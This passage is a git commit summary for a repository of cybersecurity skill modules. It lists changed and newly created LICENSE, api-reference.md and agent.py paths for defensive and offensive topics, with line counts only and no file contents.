.../references/api-reference.md | 28 ++ .../scripts/agent.py | 60 ++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 27 ++ .../scripts/agent.py | 60 ++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 27 ++ .../scripts/agent.py | 60 ++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 27 ++ .../scripts/agent.py | 60 ++++ .../LICENSE | 2 +- .../references/api-reference.md | 28 ++ .../scripts/agent.py | 60 ++++ .../LICENSE | 2 +- .../references/api-reference.md | 28 ++ .../scripts/agent.py | 60 ++++ .../LICENSE | 2 +- .../references/api-reference.md | 28 ++ .../scripts/agent.py | 60 ++++ .../performing-csrf-attack-simulation/LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 27 ++ .../scripts/agent.py | 60 ++++ .../LICENSE | 2 +- .../references/api-reference.md | 27 ++ .../scripts/agent.py | 60 ++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 30 ++ .../scripts/agent.py | 145 ++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 37 +++ .../scripts/agent.py | 142 ++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 41 +++ .../scripts/agent.py | 154 ++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 28 ++ .../scripts/agent.py | 166 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 23 ++ .../scripts/agent.py | 123 ++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 42 +++ .../scripts/agent.py | 146 ++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 36 +++ .../scripts/agent.py | 133 +++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 41 +++ .../scripts/agent.py | 168 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 26 ++ .../scripts/agent.py | 113 ++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 40 +++ .../scripts/agent.py | 171 ++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 42 +++ .../scripts/agent.py | 154 ++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 45 +++ .../scripts/agent.py | 173 ++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 45 +++ .../scripts/agent.py | 169 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 46 +++ .../scripts/agent.py | 167 +++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 37 +++ .../scripts/agent.py | 123 ++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 47 ++++ .../scripts/agent.py | 161 +++++++++++ .../performing-kerberoasting-attack/LICENSE | 2 +- .../references/api-reference.md | 43 +++ .../scripts/agent.py | 177 ++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 43 +++ .../scripts/agent.py | 171 ++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 46 +++ .../scripts/agent.py | 184 ++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 40 +++ .../scripts/agent.py | 156 +++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 42 +++ .../scripts/agent.py | 164 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 44 +++ .../scripts/agent.py | 180 ++++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 41 +++ .../scripts/agent.py | 168 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 32 +++ .../scripts/agent.py | 141 ++++++++++ .../performing-malware-ioc-extraction/LICENSE | 2 +- .../references/api-reference.md | 48 ++++ .../scripts/agent.py | 150 ++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 49 ++++ .../scripts/agent.py | 169 +++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 43 +++ .../scripts/agent.py | 166 +++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 45 +++ .../scripts/agent.py | 155 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 49 ++++ .../scripts/agent.py | 163 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 47 ++++ .../scripts/agent.py | 189 +++++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 45 +++ .../scripts/agent.py | 157 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 43 +++ .../scripts/agent.py | 175 ++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 42 +++ .../scripts/agent.py | 156 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 38 +++ .../scripts/agent.py | 135 +++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 44 +++ .../scripts/agent.py | 169 +++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 39 +++ .../scripts/agent.py | 176 ++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 46 +++ .../scripts/agent.py | 180 ++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 39 +++ .../scripts/agent.py | 151 ++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 46 +++ .../scripts/agent.py | 184 ++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 40 +++ .../scripts/agent.py | 174 ++++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 53 ++++ .../scripts/agent.py | 208 ++++++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 58 ++++ .../scripts/agent.py | 136 +++++++++ .../performing-purple-team-exercise/LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 63 +++++ .../scripts/agent.py | 158 +++++++++++ skills/performing-ransomware-response/LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 84 ++++++ .../scripts/agent.py | 152 ++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 80 ++++++ .../scripts/agent.py | 178 ++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 80 ++++++ .../scripts/agent.py | 161 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 86 ++++++ .../scripts/agent.py | 187 +++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 87 ++++++ .../scripts/agent.py | 164 +++++++++++ .../performing-security-headers-audit/LICENSE | 2 +- .../LICENSE | 2 +- .../performing-service-account-audit/LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../performing-soc-tabletop-exercise/LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../performing-ssl-stripping-attack/LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- skills/performing-vlan-hopping-attack/LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 59 ++++ .../LICENSE | 2 +- .../references/api-reference.md | 58 ++++ .../scripts/agent.py | 133 +++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 51 ++++ .../scripts/agent.py | 161 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 47 ++++ .../scripts/agent.py | 145 ++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 55 ++++ .../scripts/agent.py | 145 ++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 66 +++++ .../scripts/agent.py | 161 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 65 +++++ .../scripts/agent.py | 176 ++++++++++++ skills/processing-stix-taxii-feeds/LICENSE | 2 +- skills/profiling-threat-actor-groups/LICENSE | 2 +- .../LICENSE | 2 +- .../recovering-from-ransomware-attack/LICENSE | 2 +- .../references/api-reference.md | 55 ++++ .../scripts/agent.py | 160 +++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 48 ++++ .../scripts/agent.py | 161 +++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 52 ++++ .../scripts/agent.py | 183 ++++++++++++ .../reverse-engineering-rust-malware/LICENSE | 2 +- .../references/api-reference.md | 45 +++ .../scripts/agent.py | 173 ++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 50 ++++ .../scripts/agent.py | 145 ++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 57 ++++ .../scripts/agent.py | 170 +++++++++++ .../scanning-docker-images-with-trivy/LICENSE | 2 +- .../references/api-reference.md | 48 ++++ .../scripts/agent.py | 164 +++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 57 ++++ .../scripts/agent.py | 182 ++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 53 ++++ .../scripts/agent.py | 155 +++++++++++ .../LICENSE | 2 +- .../securing-api-gateway-with-aws-waf/LICENSE | 2 +- skills/securing-aws-iam-permissions/LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 49 ++++ .../scripts/agent.py | 184 ++++++++++++ .../securing-github-actions-workflows/LICENSE | 2 +- .../references/api-reference.md | 55 ++++ .../scripts/agent.py | 218 +++++++++++++++ .../securing-helm-chart-deployments/LICENSE | 2 +- .../references/api-reference.md | 56 ++++ .../scripts/agent.py | 173 ++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 47 ++++ .../scripts/agent.py | 215 ++++++++++++++ skills/securing-kubernetes-on-cloud/LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 54 ++++ .../scripts/agent.py | 194 +++++++++++++ skills/securing-serverless-functions/LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 50 ++++ .../scripts/agent.py | 178 ++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 57 ++++ .../scripts/agent.py | 220 +++++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 54 ++++ .../scripts/agent.py | 198 +++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 52 ++++ .../scripts/agent.py | 198 +++++++++++++ .../LICENSE | 2 +- skills/testing-cors-misconfiguration/LICENSE | 2 +- .../testing-for-broken-access-control/LICENSE | 2 +- .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 55 ++++ .../scripts/agent.py | 188 +++++++++++++ .../testing-for-host-header-injection/LICENSE | 2 +- .../references/api-reference.md | 44 +++ .../scripts/agent.py | 185 ++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 59 ++++ .../scripts/agent.py | 213 ++++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 45 +++ .../scripts/agent.py | 163 +++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 45 +++ .../scripts/agent.py | 205 ++++++++++++++ .../LICENSE | 2 +- .../testing-for-xss-vulnerabilities/LICENSE | 2 +- .../LICENSE | 2 +- skills/testing-jwt-token-security/LICENSE | 2 +- .../testing-mobile-api-authentication/LICENSE | 2 +- .../references/api-reference.md | 48 ++++ .../scripts/agent.py | 197 +++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 50 ++++ .../scripts/agent.py | 200 +++++++++++++ skills/testing-websocket-api-security/LICENSE | 2 +- .../references/api-reference.md | 49 ++++ .../scripts/agent.py | 215 ++++++++++++++ .../LICENSE | 2 +- .../references/api-reference.md | 48 ++++ .../scripts/agent.py | 194 +++++++++++++ .../LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 49 ++++ .../scripts/agent.py | 206 ++++++++++++++ skills/triaging-security-incident/LICENSE | 2 +- .../LICENSE | 2 +- .../references/api-reference.md | 56 ++++ .../scripts/agent.py | 219 +++++++++++++++ 1244 files changed, 61622 insertions(+), 723 deletions(-) create mode 100644 skills/analyzing-malware-family-relationships-with-malpedia/references/api-reference.md create mode 100644 skills/analyzing-malware-family-relationships-with-malpedia/scripts/agent.py create mode 100644 skills/analyzing-malware-persistence-with-autoruns/references/api-reference.md create mode 100644 skills/analyzing-malware-persistence-with-autoruns/scripts/agent.py create mode 100644 skills/analyzing-mft-for-deleted-file-recovery/references/api-reference.md create mode 100644 skills/analyzing-mft-for-deleted-file-recovery/scripts/agent.py create mode 100644 skills/analyzing-network-covert-channels-in-malware/references/api-reference.md create mode 100644 skills/analyzing-network-covert-channels-in-malware/scripts/agent.py create mode 100644 skills/analyzing-outlook-pst-for-email-forensics/references/api-reference.md create mode 100644 skills/analyzing-outlook-pst-for-email-forensics/scripts/agent.py create mode 100644 skills/analyzing-phishing-email-headers/references/api-reference.md create mode 100644 skills/analyzing-phishing-email-headers/scripts/agent.py create mode 100644 skills/analyzing-ransomware-leak-site-intelligence/references/api-reference.md create mode 100644 skills/analyzing-ransomware-leak-site-intelligence/scripts/agent.py create mode 100644 skills/analyzing-supply-chain-malware-artifacts/references/api-reference.md create mode 100644 skills/analyzing-supply-chain-malware-artifacts/scripts/agent.py create mode 100644 skills/analyzing-threat-actor-ttps-with-mitre-attack/references/api-reference.md create mode 100644 skills/analyzing-threat-actor-ttps-with-mitre-attack/scripts/agent.py create mode 100644 skills/analyzing-typosquatting-domains-with-dnstwist/references/api-reference.md create mode 100644 skills/analyzing-typosquatting-domains-with-dnstwist/scripts/agent.py create mode 100644 skills/analyzing-windows-shellbag-artifacts/references/api-reference.md create mode 100644 skills/analyzing-windows-shellbag-artifacts/scripts/agent.py create mode 100644 skills/auditing-kubernetes-rbac-permissions/references/api-reference.md create mode 100644 skills/auditing-kubernetes-rbac-permissions/scripts/agent.py create mode 100644 skills/building-adversary-infrastructure-tracking-system/references/api-reference.md create mode 100644 skills/building-adversary-infrastructure-tracking-system/scripts/agent.py create mode 100644 skills/building-attack-pattern-library-from-cti-reports/references/api-reference.md create mode 100644 skills/building-attack-pattern-library-from-cti-reports/scripts/agent.py create mode 100644 skills/building-c2-infrastructure-with-sliver-framework/references/api-reference.md create mode 100644 skills/building-c2-infrastructure-with-sliver-framework/scripts/agent.py create mode 100644 skills/building-detection-rule-with-splunk-spl/references/api-reference.md create mode 100644 skills/building-detection-rule-with-splunk-spl/scripts/agent.py create mode 100644 skills/building-devsecops-pipeline-with-gitlab-ci/references/api-reference.md create mode 100644 skills/building-devsecops-pipeline-with-gitlab-ci/scripts/agent.py create mode 100644 skills/building-identity-federation-with-saml-azure-ad/references/api-reference.md create mode 100644 skills/building-identity-federation-with-saml-azure-ad/scripts/agent.py create mode 100644 skills/building-incident-timeline-with-timesketch/references/api-reference.md create mode 100644 skills/building-incident-timeline-with-timesketch/scripts/agent.py create mode 100644 skills/building-ioc-defanging-and-sharing-pipeline/references/api-reference.md create mode 100644 skills/building-ioc-defanging-and-sharing-pipeline/scripts/agent.py create mode 100644 skills/building-ioc-enrichment-pipeline-with-opencti/references/api-reference.md create mode 100644 skills/building-ioc-enrichment-pipeline-with-opencti/scripts/agent.py create mode 100644 skills/building-malware-incident-communication-template/references/api-reference.md create mode 100644 skills/building-malware-incident-communication-template/scripts/agent.py create mode 100644 skills/building-patch-tuesday-response-process/references/api-reference.md create mode 100644 skills/building-patch-tuesday-response-process/scripts/agent.py create mode 100644 skills/building-phishing-reporting-button-workflow/references/api-reference.md create mode 100644 skills/building-phishing-reporting-button-workflow/scripts/agent.py create mode 100644 skills/building-red-team-c2-infrastructure-with-havoc/references/api-reference.md create mode 100644 skills/building-red-team-c2-infrastructure-with-havoc/scripts/agent.py create mode 100644 skills/building-role-mining-for-rbac-optimization/references/api-reference.md create mode 100644 skills/building-role-mining-for-rbac-optimization/scripts/agent.py create mode 100644 skills/building-soc-escalation-matrix/references/api-reference.md create mode 100644 skills/building-soc-escalation-matrix/scripts/agent.py create mode 100644 skills/building-threat-actor-profile-from-osint/references/api-reference.md create mode 100644 skills/building-threat-actor-profile-from-osint/scripts/agent.py create mode 100644 skills/building-threat-feed-aggregation-with-misp/references/api-reference.md create mode 100644 skills/building-threat-feed-aggregation-with-misp/scripts/agent.py create mode 100644 skills/building-threat-hunt-hypothesis-framework/references/api-reference.md create mode 100644 skills/building-threat-hunt-hypothesis-framework/scripts/agent.py create mode 100644 skills/building-threat-intelligence-enrichment-in-splunk/references/api-reference.md create mode 100644 skills/building-threat-intelligence-enrichment-in-splunk/scripts/agent.py create mode 100644 skills/building-threat-intelligence-platform/references/api-reference.md create mode 100644 skills/building-threat-intelligence-platform/scripts/agent.py create mode 100644 skills/building-vulnerability-aging-and-sla-tracking/references/api-reference.md create mode 100644 skills/building-vulnerability-aging-and-sla-tracking/scripts/agent.py create mode 100644 skills/building-vulnerability-dashboard-with-defectdojo/references/api-reference.md create mode 100644 skills/building-vulnerability-dashboard-with-defectdojo/scripts/agent.py create mode 100644 skills/building-vulnerability-exception-tracking-system/references/api-reference.md create mode 100644 skills/building-vulnerability-exception-tracking-system/scripts/agent.py create mode 100644 skills/collecting-threat-intelligence-with-misp/references/api-reference.md create mode 100644 skills/collecting-threat-intelligence-with-misp/scripts/agent.py create mode 100644 skills/collecting-volatile-evidence-from-compromised-host/references/api-reference.md create mode 100644 skills/collecting-volatile-evidence-from-compromised-host/scripts/agent.py create mode 100644 skills/conducting-internal-reconnaissance-with-bloodhound-ce/references/api-reference.md create mode 100644 skills/conducting-internal-reconnaissance-with-bloodhound-ce/scripts/agent.py create mode 100644 skills/conducting-mobile-application-penetration-test/references/api-reference.md create mode 100644 skills/conducting-mobile-application-penetration-test/scripts/agent.py create mode 100644 skills/conducting-pass-the-ticket-attack/references/api-reference.md create mode 100644 skills/conducting-pass-the-ticket-attack/scripts/agent.py create mode 100644 skills/conducting-post-incident-lessons-learned/references/api-reference.md create mode 100644 skills/conducting-post-incident-lessons-learned/scripts/agent.py create mode 100644 skills/conducting-social-engineering-penetration-test/references/api-reference.md create mode 100644 skills/conducting-social-engineering-penetration-test/scripts/agent.py create mode 100644 skills/conducting-social-engineering-pretext-call/references/api-reference.md create mode 100644 skills/conducting-social-engineering-pretext-call/scripts/agent.py create mode 100644 skills/conducting-spearphishing-simulation-campaign/references/api-reference.md create mode 100644 skills/conducting-spearphishing-simulation-campaign/scripts/agent.py create mode 100644 skills/configuring-active-directory-tiered-model/references/api-reference.md create mode 100644 skills/configuring-active-directory-tiered-model/scripts/agent.py create mode 100644 skills/configuring-aws-verified-access-for-ztna/references/api-reference.md create mode 100644 skills/configuring-aws-verified-access-for-ztna/scripts/agent.py create mode 100644 skills/configuring-certificate-authority-with-openssl/references/api-reference.md create mode 100644 skills/configuring-certificate-authority-with-openssl/scripts/agent.py create mode 100644 skills/configuring-host-based-intrusion-detection/references/api-reference.md create mode 100644 skills/configuring-host-based-intrusion-detection/scripts/agent.py create mode 100644 skills/configuring-hsm-for-key-storage/references/api-reference.md create mode 100644 skills/configuring-hsm-for-key-storage/scripts/agent.py create mode 100644 skills/configuring-identity-aware-proxy-with-google-iap/references/api-reference.md create mode 100644 skills/configuring-identity-aware-proxy-with-google-iap/scripts/agent.py create mode 100644 skills/configuring-ldap-security-hardening/references/api-reference.md create mode 100644 skills/configuring-ldap-security-hardening/scripts/agent.py create mode 100644 skills/configuring-microsegmentation-for-zero-trust/references/api-reference.md create mode 100644 skills/configuring-microsegmentation-for-zero-trust/scripts/agent.py create mode 100644 skills/configuring-multi-factor-authentication-with-duo/references/api-reference.md create mode 100644 skills/configuring-multi-factor-authentication-with-duo/scripts/agent.py create mode 100644 skills/configuring-oauth2-authorization-flow/references/api-reference.md create mode 100644 skills/configuring-oauth2-authorization-flow/scripts/agent.py create mode 100644 skills/configuring-tls-1-3-for-secure-communications/references/api-reference.md create mode 100644 skills/configuring-tls-1-3-for-secure-communications/scripts/agent.py create mode 100644 skills/configuring-windows-defender-advanced-settings/references/api-reference.md create mode 100644 skills/configuring-windows-defender-advanced-settings/scripts/agent.py create mode 100644 skills/configuring-windows-event-logging-for-detection/references/api-reference.md create mode 100644 skills/configuring-windows-event-logging-for-detection/scripts/agent.py create mode 100644 skills/configuring-zscaler-private-access-for-ztna/references/api-reference.md create mode 100644 skills/configuring-zscaler-private-access-for-ztna/scripts/agent.py create mode 100644 skills/containing-active-security-breach/references/api-reference.md create mode 100644 skills/containing-active-security-breach/scripts/agent.py create mode 100644 skills/deobfuscating-powershell-obfuscated-malware/references/api-reference.md create mode 100644 skills/deobfuscating-powershell-obfuscated-malware/scripts/agent.py create mode 100644 skills/deploying-cloudflare-access-for-zero-trust/references/api-reference.md create mode 100644 skills/deploying-cloudflare-access-for-zero-trust/scripts/agent.py create mode 100644 skills/deploying-edr-agent-with-crowdstrike/references/api-reference.md create mode 100644 skills/deploying-edr-agent-with-crowdstrike/scripts/agent.py create mode 100644 skills/deploying-osquery-for-endpoint-monitoring/references/api-reference.md create mode 100644 skills/deploying-osquery-for-endpoint-monitoring/scripts/agent.py create mode 100644 skills/deploying-palo-alto-prisma-access-zero-trust/references/api-reference.md create mode 100644 skills/deploying-palo-alto-prisma-access-zero-trust/scripts/agent.py create mode 100644 skills/deploying-software-defined-perimeter/references/api-reference.md create mode 100644 skills/deploying-software-defined-perimeter/scripts/agent.py create mode 100644 skills/deploying-tailscale-for-zero-trust-vpn/references/api-reference.md create mode 100644 skills/deploying-tailscale-for-zero-trust-vpn/scripts/agent.py create mode 100644 skills/detecting-anomalies-in-industrial-control-systems/references/api-reference.md create mode 100644 skills/detecting-anomalies-in-industrial-control-systems/scripts/agent.py create mode 100644 skills/detecting-api-enumeration-attacks/references/api-reference.md create mode 100644 skills/detecting-api-enumeration-attacks/scripts/agent.py create mode 100644 skills/detecting-arp-poisoning-in-network-traffic/references/api-reference.md create mode 100644 skills/detecting-arp-poisoning-in-network-traffic/scripts/agent.py create mode 100644 skills/detecting-attacks-on-historian-servers/references/api-reference.md create mode 100644 skills/detecting-attacks-on-historian-servers/scripts/agent.py create mode 100644 skills/detecting-attacks-on-scada-systems/references/api-reference.md create mode 100644 skills/detecting-attacks-on-scada-systems/scripts/agent.py create mode 100644 skills/detecting-aws-guardduty-findings-automation/references/api-reference.md create mode 100644 skills/detecting-aws-guardduty-findings-automation/scripts/agent.py create mode 100644 skills/detecting-azure-service-principal-abuse/references/api-reference.md create mode 100644 skills/detecting-azure-service-principal-abuse/scripts/agent.py create mode 100644 skills/detecting-stuxnet-style-attacks/references/api-reference.md create mode 100644 skills/detecting-stuxnet-style-attacks/scripts/agent.py create mode 100644 skills/detecting-suspicious-powershell-execution/references/api-reference.md create mode 100644 skills/detecting-suspicious-powershell-execution/scripts/agent.py create mode 100644 skills/detecting-t1003-credential-dumping-with-edr/references/api-reference.md create mode 100644 skills/detecting-t1003-credential-dumping-with-edr/scripts/agent.py create mode 100644 skills/detecting-t1055-process-injection-with-sysmon/references/api-reference.md create mode 100644 skills/detecting-t1055-process-injection-with-sysmon/scripts/agent.py create mode 100644 skills/detecting-t1548-abuse-elevation-control-mechanism/references/api-reference.md create mode 100644 skills/detecting-t1548-abuse-elevation-control-mechanism/scripts/agent.py create mode 100644 skills/eradicating-malware-from-infected-systems/references/api-reference.md create mode 100644 skills/eradicating-malware-from-infected-systems/scripts/agent.py create mode 100644 skills/executing-red-team-engagement-planning/references/api-reference.md create mode 100644 skills/executing-red-team-engagement-planning/scripts/agent.py create mode 100644 skills/exploiting-active-directory-certificate-services-esc1/references/api-reference.md create mode 100644 skills/exploiting-active-directory-certificate-services-esc1/scripts/agent.py create mode 100644 skills/exploiting-active-directory-with-bloodhound/references/api-reference.md create mode 100644 skills/exploiting-active-directory-with-bloodhound/scripts/agent.py create mode 100644 skills/exploiting-api-injection-vulnerabilities/references/api-reference.md create mode 100644 skills/exploiting-api-injection-vulnerabilities/scripts/agent.py create mode 100644 skills/exploiting-broken-function-level-authorization/references/api-reference.md create mode 100644 skills/exploiting-broken-function-level-authorization/scripts/agent.py create mode 100644 skills/exploiting-broken-link-hijacking/references/api-reference.md create mode 100644 skills/exploiting-broken-link-hijacking/scripts/agent.py create mode 100644 skills/exploiting-constrained-delegation-abuse/references/api-reference.md create mode 100644 skills/exploiting-constrained-delegation-abuse/scripts/agent.py create mode 100644 skills/exploiting-deeplink-vulnerabilities/references/api-reference.md create mode 100644 skills/exploiting-deeplink-vulnerabilities/scripts/agent.py create mode 100644 skills/exploiting-excessive-data-exposure-in-api/references/api-reference.md create mode 100644 skills/exploiting-excessive-data-exposure-in-api/scripts/agent.py create mode 100644 skills/exploiting-insecure-data-storage-in-mobile/references/api-reference.md create mode 100644 skills/exploiting-insecure-data-storage-in-mobile/scripts/agent.py create mode 100644 skills/exploiting-jwt-algorithm-confusion-attack/references/api-reference.md create mode 100644 skills/exploiting-jwt-algorithm-confusion-attack/scripts/agent.py create mode 100644 skills/exploiting-kerberoasting-with-impacket/references/api-reference.md create mode 100644 skills/exploiting-kerberoasting-with-impacket/scripts/agent.py create mode 100644 skills/exploiting-mass-assignment-in-rest-apis/references/api-reference.md create mode 100644 skills/exploiting-mass-assignment-in-rest-apis/scripts/agent.py create mode 100644 skills/exploiting-ms17-010-eternalblue-vulnerability/references/api-reference.md create mode 100644 skills/exploiting-ms17-010-eternalblue-vulnerability/scripts/agent.py create mode 100644 skills/exploiting-nopac-cve-2021-42278-42287/references/api-reference.md create mode 100644 skills/exploiting-nopac-cve-2021-42278-42287/scripts/agent.py create mode 100644 skills/exploiting-nosql-injection-vulnerabilities/references/api-reference.md create mode 100644 skills/exploiting-nosql-injection-vulnerabilities/scripts/agent.py create mode 100644 skills/exploiting-prototype-pollution-in-javascript/references/api-reference.md create mode 100644 skills/exploiting-prototype-pollution-in-javascript/scripts/agent.py create mode 100644 skills/exploiting-race-condition-vulnerabilities/references/api-reference.md create mode 100644 skills/exploiting-race-condition-vulnerabilities/scripts/agent.py create mode 100644 skills/exploiting-type-juggling-vulnerabilities/references/api-reference.md create mode 100644 skills/exploiting-type-juggling-vulnerabilities/scripts/agent.py create mode 100644 skills/exploiting-vulnerabilities-with-metasploit-framework/references/api-reference.md create mode 100644 skills/exploiting-vulnerabilities-with-metasploit-framework/scripts/agent.py create mode 100644 skills/exploiting-zerologon-vulnerability-cve-2020-1472/references/api-reference.md create mode 100644 skills/exploiting-zerologon-vulnerability-cve-2020-1472/scripts/agent.py create mode 100644 skills/extracting-config-from-agent-tesla-rat/references/api-reference.md create mode 100644 skills/extracting-config-from-agent-tesla-rat/scripts/agent.py create mode 100644 skills/hardening-docker-containers-for-production/references/api-reference.md create mode 100644 skills/hardening-docker-containers-for-production/scripts/agent.py create mode 100644 skills/hardening-docker-daemon-configuration/references/api-reference.md create mode 100644 skills/hardening-docker-daemon-configuration/scripts/agent.py create mode 100644 skills/hardening-linux-endpoint-with-cis-benchmark/references/api-reference.md create mode 100644 skills/hardening-linux-endpoint-with-cis-benchmark/scripts/agent.py create mode 100644 skills/hardening-windows-endpoint-with-cis-benchmark/references/api-reference.md create mode 100644 skills/hardening-windows-endpoint-with-cis-benchmark/scripts/agent.py create mode 100644 skills/hunting-for-beaconing-with-frequency-analysis/references/api-reference.md create mode 100644 skills/hunting-for-beaconing-with-frequency-analysis/scripts/agent.py create mode 100644 skills/hunting-for-command-and-control-beaconing/references/api-reference.md create mode 100644 skills/hunting-for-command-and-control-beaconing/scripts/agent.py create mode 100644 skills/hunting-for-data-exfiltration-indicators/references/api-reference.md create mode 100644 skills/hunting-for-data-exfiltration-indicators/scripts/agent.py create mode 100644 skills/hunting-for-dns-tunneling-with-zeek/references/api-reference.md create mode 100644 skills/hunting-for-dns-tunneling-with-zeek/scripts/agent.py create mode 100644 skills/hunting-for-persistence-mechanisms-in-windows/references/api-reference.md create mode 100644 skills/hunting-for-persistence-mechanisms-in-windows/scripts/agent.py create mode 100644 skills/hunting-for-persistence-via-wmi-subscriptions/references/api-reference.md create mode 100644 skills/hunting-for-persistence-via-wmi-subscriptions/scripts/agent.py create mode 100644 skills/hunting-for-registry-persistence-mechanisms/references/api-reference.md create mode 100644 skills/hunting-for-registry-persistence-mechanisms/scripts/agent.py create mode 100644 skills/hunting-for-scheduled-task-persistence/references/api-reference.md create mode 100644 skills/hunting-for-scheduled-task-persistence/scripts/agent.py create mode 100644 skills/implementing-disk-encryption-with-bitlocker/references/api-reference.md create mode 100644 skills/implementing-disk-encryption-with-bitlocker/scripts/agent.py create mode 100644 skills/implementing-dmarc-dkim-spf-email-security/references/api-reference.md create mode 100644 skills/implementing-dmarc-dkim-spf-email-security/scripts/agent.py create mode 100644 skills/implementing-dragos-platform-for-ot-monitoring/references/api-reference.md create mode 100644 skills/implementing-dragos-platform-for-ot-monitoring/scripts/agent.py create mode 100644 skills/implementing-email-sandboxing-with-proofpoint/references/api-reference.md create mode 100644 skills/implementing-email-sandboxing-with-proofpoint/scripts/agent.py create mode 100644 skills/implementing-end-to-end-encryption-for-messaging/references/api-reference.md create mode 100644 skills/implementing-end-to-end-encryption-for-messaging/scripts/agent.py create mode 100644 skills/implementing-endpoint-dlp-controls/references/api-reference.md create mode 100644 